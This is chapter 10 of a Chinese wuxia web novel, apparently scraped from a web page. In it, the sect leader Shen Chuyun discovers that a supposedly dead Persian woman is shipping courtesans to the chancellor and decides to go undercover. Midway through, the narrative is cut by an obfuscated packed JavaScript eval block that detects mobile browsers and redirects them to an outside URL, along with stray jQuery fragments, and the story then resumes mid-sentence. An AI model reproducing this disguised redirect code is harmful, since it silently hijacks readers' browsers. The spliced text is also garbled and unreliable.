10. 躬身入局

作品:《归云

    沈初云抿平双唇,微微眯着眼,出鞘、转身、辨位、挥剑一瞬呵成,剑气如虹,带起尖锐的风声。


    “别别别!云姐!是我!”上扬的语调传来,闻言,她定睛一看,只见一束着高马尾的青衣男子,正以刀刃抵剑身,满脸笑意又略微急切地看着她。


    “凌飞?”沈初云皱眉看他,挽起剑花入鞘,“怎么是你?”


    “殿主身手也太好了,佩服!”凌飞双手抱拳作揖,答非所问。


    “是你近日疏于练习,速度慢了。”沈初云及时纠正。


    他讪讪地挠了挠头,收刀入鞘。


    “说回正事,叫我来姑苏干嘛?”她懒得搭理他,只想赶紧知道出了什么事。


    话一出,凌飞收起嬉皮笑脸,正色道:“咱们这楼的租期到了,要续吗?”


    沈初云咬牙,拨动剑鞘,想一剑拍死他:“就为这个事?”她往前进了一步,横眉冷眼:“就为这个事,你让我快马加鞭回姑苏?”


    凌飞马上后退一步,抱拳:“云姐息怒!云姐息怒!稍安勿躁,咱们先去‘雀茶楼’饮上清茶,润一下肺。”


    她知道凌飞虽然看上去不着调,但其实做起事来很有分寸,现在想来,应该是发现了什么异常,想与她分享。


    “带路。”沈初云垂眸,收敛怒气。


    凌飞哄着请着,把她带到“雀茶楼”。


    雀茶楼,是姑苏第一名楼,坐落于山塘河畔,以名伶、清茶、温酒和食点著称。楼内装扮风雅,纱幕层层,就连挂的字画都有几分雅韵。于是,这里也成了江南文人墨客的聚集之地。


    此刻二人坐于高楼窗边,凭栏倚望,便可看到山塘河的潺潺流水和往来穿行的船只。


    桌上的茶具是清透的白瓷点以寥寥几笔的墨迹,小巧精致,颇有雅意。


    侍者拨开珠帘,恭敬上酒、斟茶,再垂眸问道:“二位可想点什么曲子?”


    凌飞吃了一口点心,问道:“今日是谁唱?”


    “紫莲姑娘。”


    凌飞挑眉:“那来一首《声声慢》吧…”


    侍者唱了声“诺”,缓步退下。片刻后,清冷的女声和淡雅的古琴声传来。


    “云深山坞,烟冷江皋,人生未易相逢。一笑灯前,钗行两两春容……”


    春季多雨,此刻淅淅沥沥的小雨沿着屋檐斜落而下。清疏的雨幕,将此时此地此曲和外界隔开来。


    清歌一曲听楼上,浮生半轮沉盏中。


    沈初云偏头看去,隔着珠帘,只见一白衣女子坐于帷幕轻纱之后,抚琴轻唱,窈窕身影。楼内不少文人谈诗作赋,当真是天上人间。


    她抿了一口茶,抬头看着一脸惬意的凌飞,笑道:“看来你在这姑苏的日子,过得很是滋润呐?”


    凌飞替她斟酒。她推了过去,耸了耸肩:“我今日不喝酒。说吧,来这干什么?”


    凌飞放下酒杯,偏头朝窗外望去:“知道那里是什么地吗?”


    一岸之隔,盈盈一水间,楼宇富丽堂皇,烟花醉柳,往来皆是贵客美人。


    沈初云随着看了过去,摇了摇头。


    “云间阆苑,姑苏的销金窟。”他挑了挑眉。


    江湖行话,“销金窟”代指妓馆,而这“云间阆苑”整个江南最大的寻乐仙境。


    “所以?”沈初云偏头,目光疑惑。


    凌飞指尖扣着茶碗:“上个月来了些奇怪的人,看着不像姑苏本地人,一直从这儿云间阆苑中,挑选女子。”


    沈初云垂眸:“这不就是烟花巷柳之地吗?有何不妥?”


    凌飞摇头:“这云间阆苑,虽是销金窟,但只有进货的道理,哪有出货?就算出货,也是一个一个姑娘被赎出去的。哪有这样,大批量地卖出去?”


    沈初云抬眸,眼神中有些怀疑:“你从哪得到这些消息的?”


    “这都不用特意打探,每天在这附近转悠转悠,喝几杯茶几杯酒,全都知道了。”凌飞答道,旋即像意识到什么似的,赶忙摆手,“我不是每天在这转悠,我就是最近来这边……”


    她没有耐心听他解释,打断接着问:“还有什么消息?”


    凌飞长吁一口气:“听说最近这几日他们就要结束买卖准备离开了,而且还我听说这为首的是一男一女,但我每次却只看到一人,且看看今天是男子还是女子谈这生意?”


    此时,一曲《声声慢》到了末尾,余音如烟雨散去。他垂头,轻哼了一声:“来了。”


    沈初云随着声音垂眸看去。雨幕淅淅沥沥,屋檐下,一群人簇拥着,握手交谈,随后缓缓走出一个青衣女子。


    一如初见那般,妩媚多姿。


    数月前就死在边境之人,此刻竟活生生出现在眼前!


    “青妩?”沈初云身形一顿,忍不住握拳捶桌,震得茶具一抖,“怎么会是她?”


    见状,凌飞转头,瞠目追问:“云姐……你认识这女子?”


    沈初云掌心不断冒汗,低声道:“我在边境的时候见过她,但她后来已经服毒自尽了。”


    凌飞若有所思,出声:“死而复生?难不成……她一开始就是假死?”


    假死!如何才能假死?难道那时青妩服下的药本就有问题,或者说那药根本不是什么毒药,而是假死药。


    沈初云脑海中不断思索复盘,额头泌出细细的冷汗。半响后,她追问道:“你说同她一道的,还有一个男子,你见过吗?长什么样子?”


    凌飞点头,旋即又摇头:“见是见过,但……那人时常穿着一个黑袍,看不清他的脸。”


    黑袍?她心中一颤,惊呼:“毒宗的人!原来青妩是毒宗的人!”


    “毒宗?”凌飞皱眉,“他们做这买卖干什么?”


    沈初云长吸一口气,缓缓吐出,稍稍冷静后,抬眸直视他:“那就要看你了,姑苏百事通。看看这些年,你在姑苏做得到底如何?”


    凌飞心下了然,举杯敬酒,一饮而尽。“请殿主放心,我一定把这件事查得水落石出。明日酉时,我们还在此处碰面。”


    “好。”沈初云举杯,“等你消息。”


    雨势渐小,慢慢停了,徒留几丝湿气。


    二人作别后,沈初云在“雀茶楼”用了晚膳,便趁着黄昏光景、人流归家之时,独自一人前往姑苏西城。


    西城是沈家旧宅所在之处。


    如今已然是凋敝了。杂草丛生,蛛网成结,没有半分从前温暖和谐的样子。


    旧宅的庭院中央,悄然立着一座墓——那是几年前沈初云偷偷砌起来的。其实,墓碑后的土堆下并无遗体,只埋着些从宅子里


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17075031|195250||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    拾起的旧物。她当时别无他法,只能以这样潦草的方式,将沈家所有人安放进这方小小的坟冢里。


    来的时候,仍有几家白事店开着门,沈初云买了些纸钱和白蜡,现下祭拜正好用得到。


    她跪在墓碑前,把纸钱和蜡烛点燃,叩拜三首后,竟一时无言。她太多太多想说的,太多太多想问的,却不知如何开口。


    当年,到底是何种情况何种罪名,需要用满门抄斩的方式来赎罪?她当时太小了,记忆都已模糊了。


    想起这些,沈初云眼眶湿润,只默默说了一句:“我来看你们了……一切都好。”


    凉风习习,吹起一地残叶和灰烬。


    沈初云祭拜完后,便回到临时歇脚的客栈休息了一晚,一直到第二日下午才出门。


    酉时。山塘河畔。雀茶楼。


    沈初云一身白衣、一手持扇,活脱脱一副江南文人模样,上楼,来到昨日座位。


    凌飞已点好一桌点心和清茶等她。他抬眸,笑道:“云姐这一身打扮,真是完全融入姑苏了。”


    她懒得寒暄,直奔主题:“查到什么了吗?”


    凌飞说了句“不急”,不慌不忙地喝完盏中清茶,擦了擦手,从怀中取出一个信封,递了过来。


    沈初云接过,拆开,细细读了起来。


    查到的信息并不多,但却十分重要。一是,这批女子将被送往帝都的宰相府;二是,这一趟走运河水路;三是明日酉时启程。


    “宰相?徐甫?”沈初云将信纸对折,于蜡烛上点了火,丢在茶碗中,静静烧起来,“这毒宗和徐相又是什么关系?”


    “昨日我便想问,那女子是什么人?”凌飞问道。


    沈初云:“波斯国人,但现在看来她也是毒宗的人。”


    凌飞不可置信地张了张嘴,试探着问道:“那……莫不是这三方在背后…有所牵连?”


    沈初云眯着眼,叹了口气。如果凌飞说的是真的,那背后这盘棋到底有多大?如果说毒宗图谋的是江湖是武林,那么波斯国和徐相所图的便是整个大绥!


    她背后寒意渐起:“姑苏百事通,你有没有办法在这些女子里安□□们的人?一同前往帝都?”


    凌飞沉默思索片刻,抬头:“可以,我想想办法,你想让谁去?”


    不得不承认,这个任务并不简单。


    又是半响沉默。沈初云似乎下定某种决心:“我去。”


    话音刚落,凌飞拍案而起:“你疯了!你去?这个有多危险,你知不知道?”


    他的声音过大,以至于楼内不少人侧目过来。


    沈初云招手,示意他坐下:“我等会写封信,飞鸽传书给临安,让古临崖长老暂代殿主之职,让临风也前往帝都,随我一同完成任务。”


    凌飞不停地眨眼,不断纠结,深深吸了口气:“这样倒是也安全一点…但是…”


    沈初云低声:“别在这里瞎担心,帝都也有我们荒芜殿的据点。这背后牵连甚广,我必须要亲自前往。”


    不等他犹豫着开口,她马上接着道:“现在,你马上去安排这件事情,我明日要登上那艘船。而且,待我登船之后,你要想办法控制住情况青妩。”


    “……”


    一声长叹。


    “属下遵命。”